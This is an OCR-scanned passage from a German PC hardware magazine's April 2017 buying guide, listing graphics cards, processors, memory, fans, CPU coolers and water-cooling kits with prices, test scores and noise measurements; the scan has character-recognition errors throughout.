Asus RX 460 Strix 04G € 140,- | 4.096 MiB | 1.225+/3.500 MHz | 9/98/105 Watt 19,5/3,5 cm | 1x 6-Po| 0,0/1,6/1,6 Sone 3,21 01/2017 | www.pcgh.de/preis/1490013 
Sapphire R7 370 Nitro 4GB € 190,- | 4.096 MiB | 985/2.800 MHz 12/115/120 Wa 21,3/3,5 cm | 1x 6-Po 0,0/0,9/1,1 Sone 329 03/2016 | www.pcgh.de/preis/1282684 
*Beliebige Referenzkarte (Founder's Edition) — herstellerabhängig mit variierendem Zubehör. **Beliebige Referenzkarte, bis auf die Beigaben sind alle gleich. Sapphire-Karten: Sofern verfügbar, wurde die Full-Retail-Version getestet. 
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AMD-Prozessoren | Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЭТ PCG svergle 
AMD Ryzen 7 1800X | Ca.€510,- | 80,0 %/85,1 % | 28/224/326/281 8c/16t |- 3,6 GHz + Turbo | 14 пт | DDR4-2667 | АМА 1,83 | 05/2017 | www.pcgh.de/preis/1582191 
AMD Ryzen 7 1700X | Ca. €390,- | 77,2 %/80,8 % | 28/218/315/274 8c/16t 3,4 GHz + Turbo |14пт | DDR4-2667 | АМА 1,91 05/2017 | www.pcgh.de/preis/1582190 
AMD Ryzen 7 1700 | Ca. €340,- | 73,8 %/75,2 % | 28/206/296/262 8c/16t 3,0 GHz + Turbo |14пт | DDR4-2667 | AM4 2,01 05/2017 | www.pcgh.de/preis/1582201 
AMD Ryzen 5 1600X | Ca. € 280,- | 78,7 %/69,6 % | 28/222/317/276 6c/12t 3,6 GHz + Turbo |14пт | DDR4-2667 | AMA 2,02 | 06/2017 www.pcgh.de/preis/ 
AMD Ryzen 5 1500X | Ca. €210,- | 70,9 %/51,1 % | 28/214/275/254 4cl8t 3,5 GHz + Turbo |14пт | DDR4-2667 | AMA 2,36 | 06/2017 www.pcgh.de/preis/ 
AMD FX-9590 Ca. Є 175,- | 59,4 %/46,2 % | 40/441/383/309 4m/8 4,7 GHz + Turbo |32nm |DDR3-1866 | AM3+ 2,98 | 03/2016 | www.pcgh.de/preis/973468 
AMD FX-8370 Ca. Є 160,- | 55,1 %/42,2 % | 39/359/318/227 4m/8 4,0 GHz + Тиро |32пт |DDR3-1866 | AM3+ 3,04 -*** | www.pcgh.de/preis/1155953 
AMD FX-8350 Ca. € 130,- | 54,6 %/42,0 % | 40/355/312/218 4m/8 4,0 GHz + Turbo |32 nm | DDR3-1866 | AM3+ 3,05 | 03/2016 | www.pcgh.de/preis/852989 
AMD FX-8300 Са. € 100,- | 49,5 %/36,3 % | 38/243/295/288 4m/8 3,3 GHz + Turbo | 32 пт | DDR3-1866 | AM3+ 3,16 | 03/2017 | www.pcgh.de/preis/1156019 
Yu Te AMD FX-8320E Са. € 120,- | 48,2 %/35,6 % | 38/282/260/164 4т/8ї |- 3,2 GHz + Turbo | 32 пт | DDR3-1866 | AM3+ 3,18 -*** | www.pcgh.de/preis/1155966 
AMD FX-6350 Ca. € 100,- | 48,3 %/33,1 % | 40/316/285/190 3m/6t |- 3,9 GHz + Turbo | 32 пт | DDR3-1866 | AM3+ 3,25 icis www.pcgh.de/preis/939528 
AMD FX-6300 Ca. € 80,- 46,3 %/30,5 % | 40/287/272/174 3m/6t |- 3,5 GHz + Тиро | 32nm | DDR3-1866 | AM3+ 3,31 „Fer www.pcgh.de/preis/853168 
IT AMD A10-7870K Са. € 120,- | 36,0 %/23,2 % | 29/224/255/239 2m/4t | Rad. R7-Serie | 3,9 GHz + Turbo | 28 пт | DDR3-2133 | FM2+ 3,39 -*** | www.pcgh.de/preis/1259232 
Intel-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЁЗ PCGH-Preisvergleich 
ntel Core i7-6950X | Са. € 1.780,- | 100 %/100 % | 50/239/370/304 10c/20t | - 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 2011-13 | 1,51 07/2016 | www.pcgh.de/preis/1394456 
ntel Core i7-7700K | Са. € 345,- | 98,2 %/65,8 % | 19/223/320/302 4c/8t | HD 630 4,2 GHz +Turbo | 14 пт | DDR4-2400 | 1151 1,63 | 02/2017 | www.pcgh.de/preis/1551097 
ntel Core i7-6900K | Ca. € 1.120,- | 96,8 %/90,7 % | 50/243/349/313 80/161 |- 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 2011-3 | 1,69 | 07/2016 | www.pcgh.de/preis/1394462 
ntel Core 17-6700К | Са. €320,- | 91,8 %/60,7 % | 21/302/256/126 4cd8t | HD 530 4,0 GHz + Turbo | 14 пт | DDR4-2133 | 1151 1,79 | 03/2016 | www.pcgh.de/preis/1290371 
ntel Core i7-5775C |Ca.€400,- | 95,9 %/54,7 % | 19/287/252/120 Ac/8t | Iris Pro 6200 | 3,3 GHz + Turbo | 14nm | DDR3(L)-1600 | 1150 1,85 | 03/2016 | www.pcgh.de/preis/1275291 
ntel Core i7-5960X | Ca. € 1.150,- | 88,4 %/81,2 % | 49/364/286/202 8c/16t |- 3,0 GHz + Turbo | 22 пт | DDR4-2133 |2011-v3 | 1,96 | 03/2016 | www.pcgh.de/preis/1121089 
ntel Core i7-6800K | Ca. € 415,- | 89,3 %/70,2 % | 49/235/344/296 6c/12t |- 3,4 GHz + Turbo | 14 пт | DDR4-2400 |2011-v3| 2,07 | 08/2016 | www.pcgh.de/preis/1394467 
ntel Core 17-5820К | Ca. € 415,- | 86,2 %/65,8 % | 46/340/278/176 6c/12t |- 3,3 GHz + Turbo |22nm | DDR4-2133 |2011-v3 | 2,15 | 03/2016 | www.pcgh.de/preis/1121100 
ntel Core i7-4790K | Ca. € 360,- | 81,9 %/57,1 % | 18/320/261/134 4d8 HD 4600 4,0 GHz + Turbo | 22 пт | DDR3-1600 | 1150 2,16 | 03/2016 | www.pcgh.de/preis/1119923 
ntel Core i5-7600K | Ca. € 240,- | 76,8 %/47,9 % | 19/203/262/245 4d4 HD 630 3,8 GHz + Tubo | 14 пт | DDR4-2400 | 1151 2,18 | 02/2017 | www.pcgh.de/preis/1551201 
ntel Core i5-5675C | Ca. Є 295,- | 78,8 %/41,7 % | 17/245/228/107 4/4 ris Pro 6200 | 3,1 GHz + Turbo | 14 пт | DDR3(L)-1600 | 1150 2,30 -*** | www.pcgh.de/preis/1275321 
ntel Xeon E3-1231 v5 | Са. Є 275,- | 79,7 %/54,4 % | 19/265/234/118 4c/8 - 3,4 GHz + Turbo | 14 пт | DDR4-2133 | 1151 2,36 | 03/2016 | www.pcgh.de/preis/1343661 
ntel Core i5-6600K | Ca. € 225,- | 67,3 %/43,7 % | 22/245/225/109 4d4 HD 530 3,5 GHz + Tubo | 14 пт | DDR4-2133 | 1151 2,43 | 03/2016 | www.pcgh.de/preis/1290376 
ntel Core i5-7500 Ca. € 195,- | 67,6 %/40,5 % | 18/186/232/226 4/4 НО 630 3,4 GHz + Turbo | 14 пт | DDR4-2400 | 1151 2,52 | 04/2017 | www.pcgh.de/preis/1554205 
ntel Core i7-3770K Са. Є 370,- | 70,4 %/45,5 % | 25/267/235/123 4c/8 HD 4600 3,5 GHz + Turbo |22nm | DDR3-1600 | 1155 2,52 | 03/2016 | www.pcgh.de/preis/92891 1 
ntel Core i3-7350K Ca. € 190,- | 65,5 %/34,1 % | 19/189/230/226 2d4 HD 630 4,2 GHz 14nm | DDR4-2400 | 1151 2,56 | 03/2017 | www.pcgh.de/preis/1557508 
ntel Core i5-4690K | Са. € 250,- | 65,4 %/41,0 % | 18/256/229/123 4/4 НО 4600 3,5 GHz + Turbo | 22 пт | DDR3-1600 | 1150 2,63 -*** | www.pcgh.de/preis/1119925 
ntel Core i5-7400 Ca. € 175,- | 72,1 %/43,6 % | 18/194/242/233 4c/4 HD 630 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 1151 2,64 | 04/2017 | www.pcgh.de/preis/1553204 
ntel Core i5-6500 Ca. € 205,- | 63,4 %/40,6 % | 20/230/216/102 4/4 НО 530 3,2 GHz + Turbo | 14 пт | DDR4-2133 | 1151 2,74 | 03/2016 | www.pcgh.de/preis/1553204 
ntel Core i3-6100 Ca.€115- | 57,6 %/29,8 % | 21/221/208/94 2d4 HD 530 3,7 GHz 14 пт | DDR4-2133 | 1151 2,95 -*** | www.pcgh.de/preis/1329935 
ntel Pentium G4560 | Ca. € 60,- 55,0 %/26,9 % | 19/189/230/226 2d4 HD 610 3,5 GHz 14 пт | DDR4-2400 | 1151 3,17 | 03/2017 | www.pcgh.de/preis/1558362 
ntel Pentium G4400 | Ca. € 55,- 26,4 %/20,0 % | 17/176/193/184 202 HD 510 3,3 GHz 14nm | DDR4-2133 | 1151 3,68 -*** | www.pcgh.de/preis/1329945 
* Normierte, gewichtete Leistung in Spielen/Anwendungen ** Gesamtes System in Watt (Leerlauf ohne Grafikkarte/Crysis 3/0 Spiele/O Anwendungen) *** Nachgetestet ohne Heftartikel 
DDR3 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung MELT PCGH-Preisvergleich 
Yi TN G.Skill Trident X F3-1600C7D-16GTX Са. € 120,- | 2 x 8 GiByte DDR3-1600 | 7-8-8-24 Dual-Rank | 5,4 cm | 1,65 Vol 2,39 | 06/2015 | www.pcgh.de/preis/855480 
Kingston Hyper X Savage HX321C11SRK2/16 Са. € 150,- | 2 x 8 GiByte DDR3-2133 | 11-12-12-30 | Dual-Rank | 3,4 cm | 1,60 Vo 2,47 | 06/2015 | www.pcgh.de/preis/1160242 
Klew Neo KM3N8GX2W-2133 N. verfügbar | 2 x 8 GiByte DDR3-2133 | 10-12-12-31 | Dual-Rank | 4,6 cm | 1,60 Vol 2,48 | 03/2016 | www.pcgh.de/preis/1313430 
Crucial Ballistix Tactical BLT2CP8G3D 1869DT1TXOEU Са. € 140,- | 2 х 8 GiByte DDR3-1866 | 9-9-9-27 Dual-Rank | 3,6 cm | 1,50 Vo 2,52 | 08/2014 | www.pcgh.de/preis/1037301 
G.Skill Trident X F3-2400C10D-16GTX Са. € 130,- | 2x 8 GiByte DDR3-2400 | 10-12-12-31 | Dual Rank | 5,4 cm | 1,65 Vo 2,54 | 09/2013 | www.pcgh.de/preis/764621 
G.Skill Ares F3-1866C10D-16GAB Са. € 130,- |2x 8 GiByte DDR3-1866 | 10-11-10-30 | Dual Rank | 3,3 cm | 1,50 Vo 2,58 | 06/2015 | www.pcgh.de/preis/734632 
DDR4 Produktnummer Preis Speichertyp Latenzen Aufbau* Höhe | Spannung А PCGH-Preisvergleich 
Corsair Vengeance LPX CMK32GX4M4B3600C18 Са. € 370,- | 4 x 8 GiByte DDR4-3600 | 18-19-19-39 | Single-Rank | 3,5 cm | 1,35 Vol 1,89 2/2016 | www.pcgh.de/preis/1379074 
G.Skill Trident Z F4-3200C14Q-32GTZKW Са. € 390,- | 4 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,4 cm | 1,35 Vo 2,06 2/2016 | www.pcgh.de/preis/1383384* * 
Corsair Vengeance LED CMU32GX4M4C3200C16R N. verfügbar | 4 x 8 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vol 2,10 2/2016 | www.pcgh.de/preis/1468728 
Tru y Crucial Ballistix Elite BLE4CAG4D32AEEA Са. € 150,- | 4 x 4 GiByte DDR4-3200 | 16-18-18-36 | Single-Rank | 4,1 cm | 1,35 Vo 2,23 2/2016 | www.pcgh.de/preis/1464325 
Corsair Vengeance LED CMU32GX4M2C3200C16B Ca. € 370,- | 2 х 16 GiByte DDRA-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,33 2/2016 | www.pcgh.de/preis/1512560 
G.Skill Trident Z F4-3200C16D-16GTZ Са. € 180,- | 2 x 8 GiByte DDR4-3200 | 16-16-16-36 | Dual-Rank | 44 cm | 1,35 Vo 2,48 | 04/2016 | www.pcgh.de/preis/1345305 
ТЇЗ Kingston Hyper X Fury HX426C15FBK2/16 Са. € 140,- | 2 x 8 GiByte DDR4-2666 | 15-17-17-35 | Dual-Rank | 3,4 ст | 1,20 Vo 2,57 | 04/2016 | www.pcgh.de/preis/1306647 
Kingston Hyper X Savage | HX424C125B2K2/16 Са. € 160,- | 2 x 8 GiByte DDRA-2400 | 12-14-14-35 | Dual-Rank | 3,5 cm | 1,35 Vo 2,58 2/2016 | www.pcgh.de/preis/1380048 
Crucial Ballistix Tactical BLT2C8G4D26AFTA Са. € 140,- | 2 x 8 GiByte DDR4-2666 | 16-17-17-36 | Dual-Rank | 3,8 cm | 1,20 Vo 2,74 | 04/2016 | www.pcgh.de/preis/1314985 
Adata Premier AD4U240038G17-2 Са. € 130,- | 2 x 8 GiByte DDRA-2400 | 17-17-17-39 | Single-Rank | 3,2 cm | 1,20 Vo 2,89 2/2016 | www.pcgh.de/preis/1505715 
System DDR3: Core i7-4770K, Asus Maximus VI Extreme, Zotac Geforce GT 640; Windows 7 64 Вії SP1, НСІ Memtest Pro * Aufbau von den meisten Herstellern nicht garantiert, ggf. Abweichungen möglich 
System DDR4: Core i5-6600K/Core i7-6700K, Asus Maximus VII Extreme/Ranger und MSI 2170А Gaming М7, MSI Geforce GTX 980 Ti Lightning; Windows 10 64 Bit, НСІ Memtest Pro ** Silber-rote Version 


121 


SERVICE | Einkaufsfüh 


rer 


Einkaufsführer Kühlung 


Preise: Stand 19.04.2017 


WELT ERPREIS-LEISTUNGS-TIPP 


ШШ o SPAR-TIPP 


Hëne 


120-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 

Noctua NF-F12 PWM Ca. € 18,- | 4-Pin PWM/53 cm Spannungs-Adapter 1.500 U/min 10,2/13,4/18,6 Kelvin | 1,9/0,4/0,1 Sone 2,25 12/2016 | www.pcgh.de/preis/698532 

Blacknoise Eloop B12-PS Ca. € 19,- | 4-Pin PWM/75 cm - 1.500 U/min 10,9/14,1/19,0 Kelvin | 0,8/0,2/0,1 Sone 2,47 12/2016 | www.pcgh.de/preis/820091 

Scythe Glide Stream 120 PWM Ca. € 10,- | 4-Pin PWM/50 cm _ 1.300 U/min 10,3/12,2/17,5 Kelvin | 1,5/0,6/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/837136 qumTM 
Be Quiet Silent Wings 3 PWM Ca. € 18,- | 4-Pin PWM**/50 cm - 1.450 U/min 11,7/14,4/20,7 Kelvin | 0,8/0,2/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/1490397 

EKL Alpenfóhn Wing Boost 2 Blue N. verfüg. | 4-Pin PWM/84 cm 7-Volt-Molex-Adap. | 1.500 U/min 12,6/15,5/21,0 Kelvin | 1,4/0,6/0,1 Sone | 2,61 12/2016 | www.pcgh.de/preis/1098135 

Blacknoise Multiframe M12-2 Ca. € 20,- | 3-Pin/44 cm - 1.250 U/min 12,7/16,1/21,5 Kelvin | 0,6/0,2/0,1 Sone | 2,62 12/2016 | www.pcgh.de/preis/342339 

Arctic F12 PWM Са. Є 5,- | 4-Pin PWM**/39 cm - 1.350 U/min 10,0/12,9/18,2 Kelvin | 1,6/0,5/0,1 Sone | 2,63 12/2016 | www.pcgh.de/preis/458676 
Blacknoise Black Silent Pro PL-2 Ca. € 13,- | 3-Pin/75 cm - 1.400 U/min 12,3/15,4/20,5 Kelvin | 1,1/0,4/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/476778 

Be Quiet Silent Wings 2 PWM Ca. € 25,- | 4-Pin PWM/44 cm _ 1.500 U/min 12,2/15,2/20,8 Kelvin | 1,0/0,3/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/877395 

Be Quiet Shadow Wings SW1 Ca. € 12,- | 3-Pin/45 cm - 2.200 U/min 8,9/11,2/15,6 Kelvin | 2,8/1,0/0,2 Sone | 2,76 12/2016 | www.pcgh.de/preis/684033 

Cooler Master Silencio FP 120 PWM | Ca. € 10,- | 4-Pin PWM/44 cm _ 1.400 U/min 13,1/16,9/23,1 Kelvin | 0,7/0,4/0,1 Sone 2,78 12/2016 | www.pcgh.de/preis/1227673 
140-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 
Blacknoise Eloop B14-PS Ca. € 25,- | 4-Pin PWM/75 cm - 1.200 U/min 8,8/11,0/15,2 Kelvin | 1,2/0,3/0,1 Sone | 2,03 01/2016 | www.pcgh.de/preis/1313838 
Thermaltake Riing 14 RGB Ca. € 25,- | 4-Pin PWM/45 cm 2-stufig 1.400 U/min 9,1/11,3/16,9 Kelvin | 1,6/0,7/0,1 Sone | 2,27 01/2016 | www.pcgh.de/preis/1348647 

Noctua NF-A14 FLX Ca. € 22,- | 3-Pin/53 cm 2 Spannungs-Adapt. | 1.200 U/min 9,5/12,0/16,9 Kelvin | 1,2/0,4/0,1 Sone 2:27 01/2016 | www.pcgh.de/preis/870798 

Aerocool Dead Sil. White Edi.140mm | Ca. € 20,- | 3-Ріп/50 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/18,3 Kelvin | 0,7/0,3/0,1 Sone | 2,33 01/2016 | www.pcgh.de/preis/1058907 

Blacknoise Black Silent Pro PK-2 Ca. € 17,- | 3-Pin/75 cm - 1.200 U/min 10,2/12,8/18,1 Kelvin | 1,2/0,5/0,1 Sone | 2,39 01/2016 | www.pcgh.de/preis/476867 

Fractal Design Venturi HP-14 PWM Ca. € 17,- | 4-Pin PWM/50 cm - 1.500 U/min 9,6/11,7/18,2 Kelvin | 1,6/0,6/0,1 Sone 2,41 01/2016 | www.pcgh.de/preis/1266895 

Enermax T.B.Silence PWM 140mm Ca. € 11,- | 4-Pin PWM/49 cm - 1.200 U/min 9,2/11,8/16,0 Kelvin | 1,7/0,6/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/886129 {ТҮҢ 
Silverstone SST-FQ141 Ca. € 20,- | 4-Pin PWM/29 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/17,6 Kelvin | 1,1/0,4/0,1 Sone | 2,42 01/2016 | www.pcgh.de/preis/1170330 

Be Quiet Silent Wings 2 PWM Ca. € 20,- | 4-Pin PWM/45 cm _ 1.000 U/min 11,4/15,3/21,0 Kelvin | 0,5/0,1/0,1 Sone | 2,44 01/2016 | www.pcgh.de/preis/877396 

Phanteks PH-F140SP Ca. € 15,- | 3-Pin/92 cm _ 1.200 U/min 8,9/11,5/16,2 Kelvin | 1,7/0,5/0,1 бопе 2,45 01/2016 | www.pcgh.de/preis/1112616 

Nanoxia Cool Force Ca. € 10,- | 3-Pin/43 cm Vorwiderstand 1.100 U/min 12,2/14,6/20,3 Kelvin | 0,4/0,2/0,1 Sone 2,47 01/2016 | www.pcgh.de/preis/1395404 

Enermax Cluster Advance Ca. € 13,- | 4-Pin PWM/49 cm 3-stufig an Lüfternabe | 1.500 U/min 8,4/10,1/14,8 Kelvin | 2,8/1,4/0,3 Sone | 2,65 01/2016 | www.pcgh.de/preis/1186749 

Akasa 14cm Apache Black Ca. € 17,- | 4-Pin PWM/40 cm - 1.300 U/min 8,1/10,2/14,0 Kelvin | 2,8/1,1/0,3 Sone | 2,72 01/2016 | www.pcgh.de/preis/681031 

Noctua NF-A14 Industr.-PPC-2000 PWM | Ca. € 27,- | 4-Pin PWM/40 cm _ 2.000 U/min 6,9/8,1/11,8 Kelvin 3,8/1,9/0,5 Sone 2,75 01/2016 | www.pcgh.de/preis/1115473 

Be quiet Pure Wings 2 140mm Ca.€9,- | 3-Pin/45 cm _ 1.000 U/min 11,8/15,6/21,1 Kelvin | 0,6/0,2/0,1 Sone | 2,88 01/2016 | www.pcgh.de/preis/994425 
180-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in PCGH-Preisvergleich 

Phobya G-Silent 18 rot Ca. € 20,- | 3-Pin/50 cm - 700 U/min 7,319,0/12,6 Kelvin 0,6/0,2/0,1 Sone 172 04/2015 | www.pcgh.de/preis/955636 


* Auf Alphacool Nexxxos XT45 120/140/180 mm 


adiator, Differenztemperatur Wasser/Luft; Wármequelle: Xeon E5-2687W (150 W TDP); Messung bei 100/75/50 % Lüfterdrehzahl; ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung ggf. zusätzliche Störgeräusche 


Prozessorkühler 


Modell Preis Maße (B x H x T) Gewicht CPU-Temp. 1,0 Sone | CPU-Temp. (100/75/50 %) | Lautheit (100/75/50 %) | Wertung | Test in 
Noctua NH-D15 Ca. € 90,- 51 x 175 x 162 mm; 1312 g 50,8 °C (1.020 U/min) 48,1/49,9/54,5 °C 3,0/1,2/0,2 Sone 2,08 09/2015 | www.pcgh.de/preis/1098241 
Scythe Mugen 5 Са. € 44,- 38 х 150 x 109 mm; 885 g Nicht mögl. (max. 0,9 Sone) | 52,1/53,6/59,4 °C 0,9/0,3/0,1 Sone 2/11 01/2017 | www.pcgh.de/preis/1549393 
Thermaltake Frio Extr. Silent 14 Dual | Ca. € 80,- 57 x 166 x 146 mm; 1235 g 50,3 *C (1.000 U/min) 49,6/52,1/61,2 °C 1,6/0,6/0,1 Sone 2,11 09/2015 | www.pcgh.de/preis/1196525 
Scythe Fuma Ca. € 43,- 38 x 149 x 131 mm; 923 g 52,0 °C (900 U/min) 48,5/50,8/56,2 °C 2,9/1,3/0,4 Sone 2,13 05/2016 | www.pcgh.de/preis/1339886 
Noctua NH-U14S Ca. € 75,- 52 x 166 x 80 mm; 938 g 51,4 °C (1.140 U/min) 49,7/52,1/58,7 °C 1,8/1,1/0,3 Sone 2,16 12/2014 | www.pcgh.de/preis/929404 
EKL Alpenföhn Olymp Ca. € 60,- 55 x 161 x 151 mm; 1.1879 | 52,8 °C (1.020 U/min) 50,8/53,5/61,5 °C 2,0/0,9/0,1 Sone 2,18 05/2016 | www.pcgh.de/preis/1386052 
hermalright Le Grand Macho RT N. verfüg. 50 х 162 х 148 mm; 1.1119 | Nicht mögl. (max. 0,9 Sone) | 50,1/52,8/59,1 °C 0,9/0,3/0,1 Sone 2,19 01/2017 | www.pcgh.de/preis/1442034 
hermalright Macho Rev. B Са. € 45,- 42 x 173x 129 mm; 877 g 52,2 *C (1.190 U/min) 51,2/54,7/62,9 °C 1,2/0,5/0,2 Sone 2,22 02/2015 | www.pcgh.de/preis/1193857 
Scythe Ninja 4 Ca. € 40,- 32 x 155 x 155 mm; 905 g 52,4 °C (1.170 U/min) 50,6/53,2/60,3 °C 2,1/0,7/0,2 Sone 2,22 09/2015 | www.pcgh.de/preis/1267181 
hermalright Macho Direct Ca. € 38,- 52 x 162 x 128 mm; 823 g 52,1 °C (1.190 U/min) 52,1/54,8/61,3 °C 1,0/0,3/0,1 Sone** 2,23 04/2016 | www.pcgh.de/preis/1372274 
hermalright Silver Arrow ЇТХ Са. € 75,- 67 x 163 x 105 mm; 775 g 52,1 *C (1.070 U/min) 50,2/54,3/62,9 °C 1,5/0,5/0,1 Sone 227) 05/2016 | www.pcgh.de/preis/1209699 
Be Quiet Dark Rock Pro 3 Ca. € 75,- 41 x 164 x 150 mm; 1244 g 51,6 *C (1.340 U/min) 50,3/52,1/55,6 °C 2,1/0,9/0,3 Sone 2,29 09/2015 | www.pcgh.de/preis/1054341 
hermalright True Spirit 140 Direct Ca. € 36,- 52 x 165 x 71 mm; 658 g Nicht mögl. (max. 0,8 Sone) | 50,8/54,2/60,7 °C 0,8/0,2/0,1 Sone 2,30 01/2017 | www.pcgh.de/preis/1529573 
EKL Alpenföhn Brocken 2 Ca. € 39,- 53 x 173 x 98 mm; 840 g Nicht mögl. (max. 0,8 Sone) | 53,8/57,7/64,6 °C 0,8/0,2/0,1 Sone 2,38 09/2015 | www.pcgh.de/preis/912549 
hermaltake Frio Silent 14 Са. € 42,- 50 x 165 x 68 mm; 633 g 54 *C (1.060 U/min) 52,2/55,4/63,9 °C 1,2/0,3/0,1 Sone 2,48 12/2014 | www.pcgh.de/preis/1157899 
Cooler Master Hyper 612 Ver.2 Ca. € 40,- 51 x 162 x 131 mm; 945 g Nicht mögl. (max. 0,9 Sone) | 54,9/58,2/-* °C 0,9/0,3/-* Sone 2,50 12/2014 | www.pcgh.de/preis/1172666 
Noctua NH-D15S Ca. € 80,- 49 x 163 x 134 mm; 1.153g | 53,2 °C (1.080 U/min) 50,3/53,2/60,3 °C 2,3/1,0/0,3 Sone 2,54 05/2016 | www.pcgh.de/preis/1271076 
EKL Alpenföhn Brocken Eco Са. € 32,- 31 x 151 x 88 mm; 612 g 55,9 °C (1.240 U/min) 53,7/57,4/64,2 °C 1,4/0,5/0,1 Sone 2.55 12/2014 | www.pcgh.de/preis/1081623 
Arctic Freezer i32 Ca. € 25,- 24 x 150 x 74 mm; 659 g 53 *C (1.270 U/min) 53,0/58,3/67,3 °C 1,0/0,4/0,2 Sone** 2,56 04/2016 | www.pcgh.de/preis/1325324 
Be Quiet Pure Rock Ca. € 30,- 30 x 155 x 89 mm; 629 g 56,2 °C (1.370 U/min) 55,5/58,1/68,0 °C 1,5/0,5/0,1 Sone 2,62 01/2017 | www.pcgh.de/preis/1184606 
Cooler Master Hyper 4125 Ca. € 40,- 32x 162 x 97 mm; 580 g Nicht mögl. (max. 0,8 Sone) | 56,7/59,1/67,2 °C 0,8/0,3/0,1 Sone 2,62 09/2015 | www.pcgh.de/preis/697260 
Enermax ETS-50 Axe Ca. € 50,- 39 х 161 x 112 mm; 910 g 55,3 °C (1.190 U/min) 49,5/52,4/62,3 °C 3,3/1,3/0,4 Sone 2,67 01/2017 | www.pcgh.de/preis/1491128 
Thermaltake Frio Silent 12 Ca. € 39,- 28 x 141 x 67 mm; 328 g 54,7 °C (1.310 U/min) 53,8/58,6/70,4 °C 1,1/0,4/0,1 Sone 2,68 01/2017 | www.pcgh.de/preis/1158734 
Be Quiet Shadow Rock Slim Ca. € 40,- 41x 159 x 73 mm; 702 g 54,8 *C (1.220 U/min) 53,5/57,1/64,3 °C 1,6/0,5/0,1 Sone 2,69 09/2015 | www.pcgh.de/preis/1054903 
Noctua NH-C14S Ca. € 75,- 46 x 142 x 164 mm; 1.013 9 | 57,3 °C (980 U/min) 53,2/55,7/62,3 °C 3,1/1,4/0,3 Sone 2,98 04/2016 | www.pcgh.de/preis/1271077 


* Betrieb mit 50 Prozent Drehzahl nicht möglich 
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** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche 


PC Games Hardware | 06/17 


www.pcgameshardware.de 


Einkaufsführer | SERVICE 


Einkaufsführer Wasserkühlung & Mainboards |... 


CETTE TT PREIS-LEISTUNGS-TIPP [EL PISPAR-TIPP 


Vorgefüllte Kompakt- und modulare Wasserkühlungen 


Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) ЙТ PCGH-Preisvergleich 


Alphacool Eisbaer 240 Ca. € 120,- | 274 x 124 x 55 mm 50,7 °C (1.020 U/min) 49,4/51,2/56,0 °C 3,9/1,9/0,6/0,1 Sone 1,56 08/2016 | www.pcgh.de/preis/758311939 
IL T Arctic Liquid Freezer 240 Ca.€80,- | 273 x 120 x 88 mm 47,4 °C (970 U/min) 47,9/50,5/56,7 °C 2,5/1,0/0,2/0,2 Sone** 1,78 03/2016 | www.pcgh.de/preis/1341649 
Cooler Master Nepton 240M Ca.€ 110,- | 277 x 123 x 59 mm 49,7 °C (1.320 U/min) 48,2/50,6/56,6 °C 4,3/2,1/0,6/0,2 Sone 2,13 06/2015 | www.pcgh.de/preis/1184616 
Enermax Шатах 11 240 Ca. € 80,- | 275 х 120 x 53 mm 53,3 °C (1.020 U/min) 51,4/53,7/60,9 °C 2,8/1,3/0,4/0,3 Sone 2,20 06/2015 | www.pcgh.de/preis/1214287 
Antec Kühler H20 1200 Pro Ca.€80,- |276x120x 52 mm 51,7 *C (1.000 U/min) 50,0/51,8/57,6 °C 4,2/2,0/0,7/0,1 Sone 2,25 04/2016 | www.pcgh.de/preis/1374223 
Fractal Design Kelvin $24 Ca. € 100,- | 276 x 124 x 58 mm 52,7 °C (900 U/min) 51,1/53,3/57,2 °C 4,4/2,2/,8/0,7 Sone 2,42 06/2015 | www.pcgh.de/preis/1127755 


Thermaltake Water 3.0 Extreme 5 Ca. € 110,- | 277 х 120 x 55 mm 50,1 °C (1.020 U/min) 47,7151,1/59,2 °C 5,5/2,4/,6/0,4 Sone 2,43 06/2015 | www.pcgh.de/preis/1230429 
Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) Т PCGH-Preisvergleich 


Alphacool Nexx. Cool Answer 240 D5/ST | Ca. € 250,- | 275 x 124 x 55 mm 49,6 °C (1.120 U/min) 49,6/51,3/57,4 °C 1,0/0,5/0,1/0,1 Sone 1,24 09/2016 | www.pcgh.de/preis/1132495 
EK Water Blocks EK-Kit 5240 Ca. € 200,- | 282 x 121 x 52 mm 49,2 °C (1.200 U/min) 47/49,2/53 °C 2,3/1,0/0,3/0,1 Sone 1,34 09/2016 | www.pcgh.de/preis/1443185 
XSPC Ray Storm Pro lon AX240 Kit Са. € 240,- | 287 x 128 x 65 mm 48,9 °C (1.000 U/min) 45,6/47,4/51,8 °C 2,9/1,3/0,5/0,3 Sone 1,58 09/2016 | www.pcgh.de/preis/1450064 


Temperatur- und Lautheitsmessungen entsprechen Luftkühlern, aber das Benotungssystem weicht ab. Wertung nicht vergleichbar! * Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche 


Mainboards für AMD-Prozessoren 


